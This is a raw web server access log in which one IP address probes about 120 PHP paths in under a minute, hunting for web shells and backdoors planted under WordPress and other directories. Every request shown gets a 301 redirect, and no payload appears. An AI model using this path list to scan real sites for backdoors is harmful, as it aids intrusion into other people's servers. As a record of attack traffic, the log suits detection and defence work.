185.92.26.12 - - [09/Feb/2026:04:16:17 +0300] "GET /wp-admin/user/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:18 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:18 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:18 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:19 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:19 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:20 +0300] "GET /wp-includes/class-wp-customize-manager-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:16:20 +0300] "GET /wp-includes/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:21 +0300] "GET /images/fm.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:16:21 +0300] "GET /wp-includes/count.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:16:21 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:16:22 +0300] "GET /assets/class_update_plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:16:22 +0300] "GET /wp-admin/network/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:23 +0300] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:16:23 +0300] "GET /wp-admin/network/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:23 +0300] "GET /js/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:24 +0300] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:16:24 +0300] "GET /assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:25 +0300] "GET /wp-admin/js/file/incpb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:25 +0300] "GET /images/stories/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:16:25 +0300] "GET /wp-includes/theme-compat/footer-embed-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:26 +0300] "GET /wp-includes/firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:26 +0300] "GET /home/O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:27 +0300] "GET /wp-includes/l10n/class-wp-translation-file-mo-event.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:27 +0300] "GET /wp-includes/vars-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:16:28 +0300] "GET /wp-content/themes/twentytwentytwo/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:28 +0300] "GET /style.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:16:28 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:16:29 +0300] "GET /wp-content/themes/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:29 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:30 +0300] "GET /saka.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:30 +0300] "GET /wp-includes/id3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:31 +0300] "GET /wp-content/plugins/WordPressCore/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:31 +0300] "GET /baxa1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:16:32 +0300] "GET /wp-includes/class-wp-taxonomy.editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:16:32 +0300] "GET /wp-content/plugins/pwnd/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:16:33 +0300] "GET /wp-includes/js/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:33 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:16:33 +0300] "GET /about/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:34 +0300] "GET /wp-content/themes/pridmag/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:34 +0300] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:16:35 +0300] "GET /images/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:16:35 +0300] "GET /wp-includes/interactivity-api/interactivity-api-xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:35 +0300] "GET /js/mrx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:36 +0300] "GET /wp-includes/colour.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:36 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:37 +0300] "GET /wp-includes/customize/class-wp-customize-background-position-control-variable.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:37 +0300] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:16:38 +0300] "GET /wp-content/themes/av.php.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:38 +0300] "GET /wp-content/plugins/pwnd-1/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:16:38 +0300] "GET /wp-includes/js/imgareaselect/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:16:39 +0300] "GET /upload/bilder/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:39 +0300] "GET /fonts/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:16:40 +0300] "GET /wp-admin/css/colors/blue/pass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:40 +0300] "GET /entrepreneuse.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:40 +0300] "GET /wp-includes/l10n/class-wp-translations-interface.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:41 +0300] "GET /wp-includes/assets/about5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:41 +0300] "GET /wp-admin/maint/lint-branch.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:42 +0300] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:42 +0300] "GET /js/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:16:43 +0300] "GET /.well-known/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:43 +0300] "GET /index/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:16:43 +0300] "GET /wp-includes/ID3/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:44 +0300] "GET /function/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:44 +0300] "GET /wp-content/themes/tflow/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:16:45 +0300] "GET /wp-includes/js/dist/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:16:45 +0300] "GET /testt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:46 +0300] "GET /wp-content/uploads/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:46 +0300] "GET /wp-admin/js/sad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:46 +0300] "GET /wp-includes/sitemaps/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:47 +0300] "GET /wp-includes/assets/wp-includes/assets/script-loader-packages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:16:47 +0300] "GET /web/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:16:48 +0300] "GET /wp-includes/SimplePie/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:16:48 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:48 +0300] "GET /wp-admin/css/colors/blue/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:16:49 +0300] "GET /wp-includes/sitemaps/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:49 +0300] "GET /wikindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:16:50 +0300] "GET /wp-content/plugins/seoo/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:50 +0300] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:50 +0300] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:51 +0300] "GET /wp-content/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:51 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:52 +0300] "GET /wp-includes/js/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:16:52 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:16:52 +0300] "GET /wp-admin/css/colors/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:53 +0300] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:53 +0300] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:16:54 +0300] "GET /wp-includes/sitemaps/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:16:54 +0300] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:16:54 +0300] "GET /wp-includes/widgets/class-wp-widget-search-interpreter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:55 +0300] "GET /wp-admin/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:16:55 +0300] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:16:56 +0300] "GET /wp-content/plugins/pwnd/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:56 +0300] "GET /wp-includes/block-template-utils-other.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:56 +0300] "GET /wp-content/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:57 +0300] "GET /css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:57 +0300] "GET /wp-includes/sodium_compat/lib/widget-group.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:16:58 +0300] "GET /wp-content/raw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:58 +0300] "GET /wp-includes/js/jcrop/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:58 +0300] "GET /wp-admin/includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:16:59 +0300] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:16:59 +0300] "GET /wp-content/uploads/2021/wp-works.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:00 +0300] "GET /wp-admin/media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:17:00 +0300] "GET /media-new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:17:01 +0300] "GET /js/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:01 +0300] "GET /wp-content/uploads/2021/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:02 +0300] "GET /admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:17:02 +0300] "GET /wp-includes/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:17:02 +0300] "GET /wp-includes/class-wp-scripts-query.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:03 +0300] "GET /wp-admin/js/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:03 +0300] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:04 +0300] "GET /wp-includes/ID3/module.audio-license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; 